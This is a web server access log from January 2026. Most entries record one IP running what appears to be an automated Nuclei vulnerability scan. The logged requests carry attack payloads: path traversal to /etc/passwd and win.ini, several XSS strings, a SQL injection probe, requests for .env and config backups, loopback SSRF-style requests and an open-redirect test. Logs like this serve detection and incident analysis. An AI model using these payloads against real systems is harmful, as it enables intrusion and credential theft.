[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pantheon.upstream.yml HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3 HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ServiceCenter/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/startSubscription HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ora/reports/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /parameters.yml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRRestService/unauthenticatedAPI/v1/docs HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RASHTML5Gateway/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/pbootcms.db HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:21 HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status?full HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /counters HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /requesthandler/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opcache-status/opcache.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php.ini HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/systemutil?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /toolkit/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /groupexpansion/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pentaho/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /persistentchat/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=install HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /activity.atom HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.php_cs.cache HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pwn.html HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openvpn-monitor/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aspnet_client/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/coverage.yml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anything_here HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationform/jsp/logonWeb.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationName HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpminiadmin.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?c=project&f=index&token=1234&id=news&sort=1+and+extractvalue(1,concat(0x7e,md5(999999999)))+--+ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybridconfig/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.save HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?XDEBUG_SESSION_START=380CyC4aHcUBmN4yfxgReZhzops HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/Maintain/date_config HTTP/1.1" 199
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phoneconferencing/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /connections HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package-lock.json HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nextcloud/index.php/login HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pentaho/Login HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpcs.xml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/data/app_db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyFzJ2eI1s3MTXzFjfER4jMK.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.1.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.phpspec.yml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/cloudwatch/log_groups HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reach/sip.svc HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.ini HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unifiedmessaging/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcx/mcxservice.svc HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php?db=information_schema HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/app.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/oksAutoRenewalHelp.jsp%3Fthanks%3D%27%22%3E%3Csvg%2Fonload%3Dalert('380Cy7tYHs9FpA0aj6M4MzjyGql')%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /perl-status HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //XUI/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phppgadmin/intro.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oracle/reports/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpstan.neon HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.phpunit.result.cache HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/parameters.yml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpwiki/index.php/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpsysinfo/index.php?disp=bootstrap HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpunit.xml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flow/registries HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php?property-types=1&types=2&location&prices&bedroom&code=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?piereg_logout_url=true&redirect_to=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /applications.pinpoint HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php/'%3E%3Csvg/onload=alert%60380Cy4XDy2IYyjRoykUIXUkhGJF%60%3E HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php-fpm.conf HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pipeline.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deviceupdatefiles_ext/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pipfile.lock HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:22 HTTP/1.1" 226
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pipfile HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/release.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /platformio.ini HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVendor HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.old HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php?a=check HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /requesthandlerext/ HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login_up.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors_log HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/t/out?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account HTTP/1.1" 196
[09/Jan/2026:10:52:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deviceupdatefiles_int/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927399713 HTTP/1.1" -
[09/Jan/2026:10:52:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927411949 HTTP/1.1" -
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://127.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plesk-stat/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pmb/opac_css/index.php?lvl=search_result&search_type_asked=extended_search HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password-page/ovf/account-credentials-ovf HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /microsoft-server-activesync/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.~ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/services/trust/2005/windowstransport HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:25 HTTP/1.1" 226
